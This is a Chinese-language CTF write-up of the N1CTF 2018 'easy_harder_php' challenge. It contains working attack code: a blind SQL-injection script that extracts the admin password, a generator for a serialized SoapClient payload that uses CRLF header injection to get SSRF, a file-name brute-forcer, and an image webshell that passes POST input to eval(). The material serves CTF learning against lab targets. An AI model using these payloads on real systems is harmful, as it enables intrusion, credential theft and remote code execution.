[N1CTF 2018]easy_harder_php soap_ssrf

0x01 题目介绍

扫描目录得到源码
在这里插入图片描述

    function publish()
    {
        if(!$this->check_login()) return false;
        if($this->is_admin == 0)
        {
            if(isset($_POST['signature']) && isset($_POST['mood'])) {

                $mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
                $db = new Db();
                @$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
                if($ret)
                    return true;
                else
                    return false;
            }
        }
        else
        {
                if(isset($_FILES['pic'])) {
                    if (upload($_FILES['pic'])){
                        echo 'upload ok!';
                        return true;
                    }
                    else {
                        echo "upload file error";
                        return false;
                    }
                }
                else
                    return false;
        }

    }

我们必须admin登录才会有上传功能,所以寻找注入点得到admin的密码
在这里插入图片描述$_POST[‘signature’]没有过滤就插入到数据库中,所以我们从这儿注入得到账号密码
在这里插入图片描述这儿将所有的反引号转换成了单引号,所以我们的

payload:

# encoding=utf-8


import  requests
import string
import time

url = 'http://03676d01-b591-4767-84ca-f49d98ea50a8.node3.buuoj.cn/index.php?action=publish'
cookies = {"PHPSESSID": "e949kgjjg7nm1k70ohatg52ac6"}
data = {
	"signature": "",
	"mood": 0
}
table = string.digits + string.lowercase + string.uppercase


def post():
        password = ""
        for i in range(1, 33):
                for j in table:
                    signature = "1`,if(ascii(substr((select password from ctf_users where username=0x61646d696e),%d,1))=%d,sleep(3),0))#"%(i, ord(j))			    #这儿的0x61646d696e是admin的十六进制,当然用`admin`代替也可以
                    data["signature"] = signature
			#print(data)
                    try:
                            re = requests.post(url, cookies = cookies, data = data, timeout = 3)
            #print(re.text)
                    except:
                        password += j
                        print(password)
                        break
        print(password)

def main():
	post()

if __name__ == '__main__':
	main()

注入得到密码的md5码,解密得到
在这里插入图片描述账号密码为admin,nu1ladmin

但是我们无法用这个登录,因为他限制了必须是127.0.0.1登录
在这里插入图片描述所以我们必须找到 ssrf来登录admin
在这里插入图片描述
这儿有一个反序列化,而$row[2]的数据mood我们可控,参考上面的注入~~

于是我们便可以在mood中插入序列化的soap类,然后进行ssrf,这儿简要说一下过程,方便大家理解

首先我们打开两个浏览器,分别对应一个页面,其中一个先别登录,另一个我们用来注册登录自己的非admin账号,然后在publish页面插入序列化的soap类。
这儿给出soap的构造代码

<?php
$target = 'http://127.0.0.1/index.php?action=login';
$post_string = 'username=admin&password=nu1ladmin&code=jRl3';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=e6d3o0c1bh2a119fh01etdi000'
    );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo bin2hex($aaa);
?>

这儿需要注意两个地方,第一个地方是$post_string中的code参数和PHPSESSID必须和我们另外一个浏览器准备用来登录的admin相对应~~
在这里插入图片描述然后注入即可
在这里插入图片描述这个时候还不能刷新另外一个浏览器,因为此时我们只是把数据放在了数据库中,我们还没有触发,我们必须用我们自己的账号刷新一下?action=index的页面,才能触发~~
在这里插入图片描述此时我们再刷新一下用来登录admin的浏览器就可以登录上了~~
我们之所以反序列化soap类后能登录admin,是因为

$mood = unserialize($row[2]);
$country = $mood->getcountry();

我们知道此时$mood就是一个soap类,所以这个类没有getcountry()方法,此时就会触发soap类的__call()魔法函数就能实现登录了~~

然后我们就能看到上传文件的页面了~~

if(move_uploaded_file($uploaded_file,$move_to_file)) {
            if(stripos(file_get_contents($move_to_file),'<?php')>=0)
                system('sh /home/nu1lctf/clean_danger.sh');
            return $file_true_name;
        }
  • 首先是只能上传图片,而且上传的文件不能有<?php, 这儿可以用<?=<script language='php'>代替
  • 但是最后会执行一段sh命令,我们可以问价包含看看sh文件的内容
    -在这里插入图片描述
    这儿就需要用到linux的一个小trick了,当我们的文件名是以-开头时这个命令会报错~~
    在这里插入图片描述所以我们的思路就是上传一个以-开头的图片码,然后再爆破出上传的文件名~~
$file_true_name = $file_true_name.time().rand(1,100).'.jpg';

我们最主要的是获取time()的值,我们可以在上传的瞬间马上点击上传,虽然有一两秒的误差,但是并不影响~~

<?php
date_default_timezone_set("PRC");  ###一定要注意设置这个时区
echo time();
?>

最后我们再写一个脚本爆破一下~~

# -*- coding:utf-8 -*-

import requests
time = 158002449200				#我们上传的time()为1580024492,之所以加两位是后面的rand(1,100),而且我们从0到9999累加,就可以计算出我们的计算时间和上传时间的误差了~~	
url = 'http://c2cae93a-2024-48c4-a4d9-7c6f71d20bcd.node3.buuoj.cn/index.php?action=../../../../app/adminpic/-xx{}.jpg'
for i in range(10000):
    tmp = time + i
    ul = url.format(tmp)
    html = requests.get(ul).status_code
    print(i)    
    if html == 200:
        print(ul)   
        break

这儿说明一下我上传的图片马~

<script language="php"> 
$_POST["xxx"]=str_replace("[","'",$_POST["xxx"]);
$_POST["xxx"]=str_replace("]","'",$_POST["xxx"]);
echo $_POST["xxx"];
eval($_POST["xxx"]);
 </script>

由于题目过了了我们的输入所以,没办法使用引号和单引号,我们用"[",和"]"代替,这样就不会被过滤掉了~

function addsla_all()
{
    if (!get_magic_quotes_gpc())
    {
        if (!empty($_GET))
        {
            $_GET  = addslashes_deep($_GET);
        }
        if (!empty($_POST))
        {
            $_POST = addslashes_deep($_POST);
        }
        $_COOKIE   = addslashes_deep($_COOKIE);
        $_REQUEST  = addslashes_deep($_REQUEST);
    }
}
addsla_all();

在这里插入图片描述






这道题目还有几个非预期解,但是复现的时候,已经修复好了~~

但是这儿也记录一下~~

1、session.upload开启导致包含漏洞
2、xdebug

在这里插入图片描述当 X-Forwarded-For 的地址(这里就是:ricterz.me)的 9000 端口收到连接请求,就可以确定开启了 Xdebug,且开启了 xdebug.remote_connect_back。

3、/tmp/临时文件竞争

要使用临时文件竞争,前提是能够访问phpinfo的页面~~



参考链接:
N1CTF easy_harder_php预期解法
N1CTF easy_harder_php非预期解法
官方writeup

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值